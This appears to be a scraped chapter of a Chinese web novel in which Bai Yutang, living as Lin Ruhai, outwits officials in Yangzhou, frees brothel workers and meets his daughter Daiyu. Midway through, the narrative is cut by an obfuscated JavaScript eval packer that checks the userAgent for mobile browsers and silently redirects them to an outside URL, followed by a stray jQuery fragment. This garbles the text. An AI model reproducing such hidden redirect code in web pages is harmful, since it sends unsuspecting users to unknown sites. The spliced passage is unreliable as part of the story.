默认冷灰
24号文字
方正启体

3. 第 3 章他成长了

作者:鱼七彩本书字数:K更新时间:
    面对李春和的询问,白玉堂迟疑不言,没做出任何回应。


    毕竟他只是个四品小官,如何敢告从三品大员张昌明的状?更不要说张昌明背后还有永嘉郡主做靠山,永嘉郡主背后则是战功赫赫的康王府。


    李春和看出了白玉堂的顾虑,向白玉堂保证:“若因林兄跟我说了实话,遭到张昌明等人的刁难,我必定不会袖手旁观。我以父亲之名作保,保证让林兄不受委屈。”


    一般人跟白玉堂说这话,白玉堂只会嗤之以鼻,骂对方:你当你爹是谁?


    但李春和不一样,李春和的父亲是当朝太傅,最受敬重的帝师,朝堂中清流文官之首,以他的名号作保,分量很重。


    白玉堂之所以没有一招直接弄死张昌明,就是在顾忌他背后盘踞的势力。如果没有他现在谋划这一出,张昌明莫名其妙先死了,那郡主府、康王府以及太傅府的势力都会出动。


    所以,他要先挑拨离间,把张昌明与这些势力隔离开,才能好好地玩他。


    搁在从前,白玉堂断然学不会如此绕弯子行事,遇事就当下了结。但死过一次的经历让他成长,学会了戒骄戒躁,谋定而后动。


    这半月以来,林如海暗中调查了解了扬州府所有官员的情况。


    李春和此人出身不凡,聪明,性情直率,且有一绝活儿。他可以鉴貌辨色,直透人心,轻松甄别他人话语的真伪。


    “李太傅是我敬仰的前辈,不敢冒犯他老人家的名声。君子处事,本当以事实为重,我会如实回答李判官的问题。


    我从没中过毒,不曾遇刺,也没碰见谁患有疫病,更不曾留张运使等人在府中宿下。”


    白玉堂一点没撒谎,是素锦中毒、遇刺,疫病从不曾存在过,张昌明等人昨夜就宿在梨红院了,没留在林府。


    “至于张运使他们众口一词,共同指责我算计他们——”白玉堂无奈苦笑,“我不知该怎么说?说我势单力薄,但野心勃勃,敢以一敌六?”


    灯影幢幢,将白玉堂苍白面容上的倦意照得分明。


    白玉堂的这副疲态,其实是他练了一下午内功,体力透支太过的结果。但落在李春和眼里,这俨然是位清廉文臣,接连遭逢丧妻之痛与同僚倾轧后的憔悴模样。


    李春和叹了口气,甚是同情白玉堂,也觉得荒谬,他拍了拍白玉堂的肩膀以示安慰。


    “昨日他们六人登门,所为何事?”


    “他们未与我说任何事,兀自聊了些闲话后就告辞了。”


    白玉堂根本就没见这些人,自然不会有跟他们说事的机会。


    李春和再问:“为何他们离开时不乘坐自己的马车,而是林府的车?”


    “他们刚到林府不久,马车就离开了,走时也没回来,林家自然要安排马车给他们送行。”


    这些也是实话。但有些话白玉堂没说,比如是他易容成刘管事的模样,命那些马车提前离开。


    李春和点了点头。他全程都很认真地观察过白玉堂的表情,确定他没有撒谎。


    “六名官员众口一词,一起诬陷林兄,林兄可知原因?从前可曾得罪过他们?”


    “不明原因,但猜到几分,或许与我刚受封巡盐御史一职有关。”


    白玉堂给李春和斟茶。他端茶的手抬起时,衣袖滑落,露出一节肤色苍白的手臂,瘦得嶙峋。


    李春和见后心生不忍,更加同情白玉堂,不禁又叹了口气。


    这件事基本可以下定论了。


    情急之下,六条狗发疯乱咬人罢了。


    林如海就是那个最无辜的被咬者。


    与白玉堂告辞后,李春和立刻赶往郡主府。


    “外祖早说过,一个费尽心机吃软饭的男人,不会是什么好东西!”


    李春和大步流星走到永嘉郡主跟前,匆忙饮了口茶后,便气愤开骂。


    “姨母太给他脸了,当年就不该给他混迹官场的机会,合该把这老东西锁在家里,当狗一样训!”


    “春和,他毕竟是你长辈,休要因他脏了你的嘴。”永嘉郡主本是气愤的,但听李春和这样骂,倒是气消了许多。


    在听过李春和的调查结果后,永嘉郡主觉得张昌明比自己想象中的更恶心,但在气愤之余,她反而松了口气。


    “没冤枉他就好,不然该我愧疚了。”


    李春和愣了下,没想到姨母如此心宽,这么快就消了气。


    “那接下来姨母有何打算?我看他很不老实,好男色都次要了,与孙志山等人结党,构陷巡盐御史意图从两淮盐务中捞油水,才最可怕。”


    有些话白玉堂没明说,李春和自己也能悟出来,张昌明带一群官员上门林府的真实目的是什么。


    李春和觉得,张昌明就是个祸害,是会腥了一锅粥的臭鱼。日后他若出了问题,必会牵连到康王府。与其留下灭族隐患,不如早日拔出。


    永嘉郡主仿佛瞬间老了十岁,幽幽叹气:“他毕竟是孩子的父亲。”


    “行了,外甥明白了。”


    李春和掸了掸衣袍,立刻起身告辞。


    永嘉郡主忙拉住李春和,“话还没说完呢,瞧给你急的。”


    “您说。”李春和勉强坐下,梗着脖子。


    “人一定要处置,但要体面些处置才好,不能让你表弟表妹因他抬不起头来。你给我想个好主意?”


    李春和愣了下,然后笑了,对永嘉郡主竖大拇指,赞她有外祖父风范,爱憎分明,行事果断。


    “容我仔细想想,想好了告诉您。这段时间一定要管好他,别让他脏了郡主府的门楣。”


    李春和跟永嘉郡主继续聊了几句家常,顺嘴提及了林如海。


    “不知怎么的,他分明就是个文弱儒士,可我总觉得他不一般,身上有一股侠气。要不是看他刚丧妻不久,已经瘦脱相了,我可能会怀疑他有第二重身份。”


    永嘉郡主根本不在意李春和话里的重点,只感慨自己关注的重点:“列侯世家出身,簪缨之族,还是个探花郎,爱妻如命……瞧瞧人家,再瞧瞧我家这个……啧啧,天鹅与臭虫之别,真是没法比。”


    李春和非常赞同:“姨母眼光确实不行。”


    “找打!”永嘉郡主抬手作势要打。


    李春和一个箭步窜了出去,跑得比兔子还快。


    房顶之上,白玉堂轻轻盖回了掀开的瓦片。


    有点出乎他的意料,没想到这永嘉郡主竟是个爽快人,这么快就放弃了张昌明。更没想到李春和如此敏锐,他那般伪装文弱,还是叫他瞧出江湖气了。


    “嗯?”


    在庭院中行走的李春和,突然感觉背后好像有一道目光。


    他立刻转头去寻,周围一片寂静,没见任何人影,只有一片乌樟叶从头顶落下。


    李春和拾起叶子,大步离去。


    ……


    三月十三,梨花街梨红院发生特大凶杀案。


    鸨母陈百花与十二名护院都被杀了,尸体横陈在梨红院大堂之中,吓疯了一早醒来的客人,也吓跑了妓子们。


    李春和带人赶到梨红院的时候,院内早已人去楼空,只剩下十三具尸体和四周围观的百姓。


    李春和十分恼怒,质问衙役和巡城兵:“那些妓子人呢?都哪儿去了?”


    “不、不知道,当时太混乱,围观的人太多,有人吵闹,属下等只顾着维持秩序,没注意她们。”


    “立刻关闭城门寻人!她们贱籍出身,没有路引,不会跑太远。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416303|200777||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……


    扬州城外,东二十里。


    白玉堂以黑布蒙面,坐在一颗半人高的巨石之上,给排长队的妓子、小倌儿们一一分发路引、户籍和银两。


    这是他承诺会给的帮助。


    四天前,白玉堂与梨红院的花魁牡丹达成了协定。只要他们帮忙出面作证,坐实张昌明等人在梨红院的丑事,他就会帮助梨红院所有苦命人逃离。


    “你们自由了,但前路依然难行,端看你们自己的选择了。


    以后如何生活,投奔谁,靠什么谋生,凭自己的能耐是否守住钱财,日子艰难时又该怎样过……都要想清楚。”


    白玉堂救过很多身不由己的苦命人,也见到过很多让他失望的结果。有愚善蠢笨的,再度被人算计;有耽于享乐的,重新堕落……


    白玉堂从没因此灰心,哪怕救下的十个里有九个又跳回火坑,只要剩下一个站住脚,改了命,他的功夫就不白费。


    牡丹含泪带着众人跪地,给白玉堂磕头。


    “感谢恩公搭救奴家与众姊妹兄弟于水火!我们都是被父母卖进梨红院里的苦命人,亲缘浅薄,没什么亲人可以信任和投奔,孤身去打拼又风险太大。


    我们已经商量过了,以后就一起生活,一起出钱找个靠谱的营生,互相帮助过活。”


    “这倒是极好。”


    白玉堂又掏出一袋钱来,给了牡丹,告知她们如果安顿好了,可以送信到永昌茶楼,有机会他会去看望她们。


    牡丹感动地落泪,允诺一定会送信来。她带着大家再度磕头,向白玉堂道谢。


    “他日恩人若有用得着我们的地方,尽管吩咐,我等万死不辞!”


    “行了,快走吧。再不走,那扬州府判官恐怕要带人追来了。”


    牡丹等人赶紧上了白玉堂给她们提前备好的马车,纷纷挥手道别。


    ……


    白玉堂骑马回城的时候,刚好在东城门口与李春和打了照面。


    李春和很惊讶:“林兄这是出城去了?”


    “扫墓。”白玉堂垂下眼帘,没让李春和看到他眼里的情绪。


    李春和连忙致歉,劝慰白玉堂想开些,“嫂子在九泉之下也定希望林兄与女儿能身体安康,开心度日。我这还有案子要查,就不跟林兄多聊了!”


    白玉堂“嗯”了一声,与李春和作别。


    李春和骑马出了城门,就立刻勒住缰绳,收敛了脸上的笑意。


    他侧首吩咐属下:“派个人,盯着林如海。”


    属下有点懵:“为何啊?”


    “他刚刚撒谎了,偏巧今日梨红院发生了凶案,那些妓子小倌儿都没了踪影。”


    种种巧合之下,任何可疑之处都不能忽略。


    属下当即领命去了。


    白玉堂回府后,就直奔黛玉的住处。


    他到时,黛玉正倚在窗边看书。小姑娘梳着双丫髻,鬓边簪着一朵白梨花,身穿月白软绸小袄,捧书静静看着,眉目清灵,万般惹人怜爱。


    白玉堂下意识放缓脚步,没忍心打扰她。


    黛玉的奶娘王婆子看见了,忙出声道:“大姑娘,老爷来了!”


    黛玉闻言眼睛一亮,原本有些病容的脸瞬间染上了神采。


    她立刻放下书,奔到白玉堂跟前。


    玉雪可爱的一张小脸,眨着秋水般的眼睛,白白嫩嫩的小手扯住了白玉堂的衣袖,甜甜糯糯地喊了一声:“爹爹。”


    白玉堂瞬间感觉自己的心都要化了。


    在没见黛玉之前,白玉堂担心自己未必能做好人父。在见到黛玉之后,白玉堂觉得他就是天生当父亲的料!


    此时此刻,白玉堂有满满的父爱亟待播撒!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)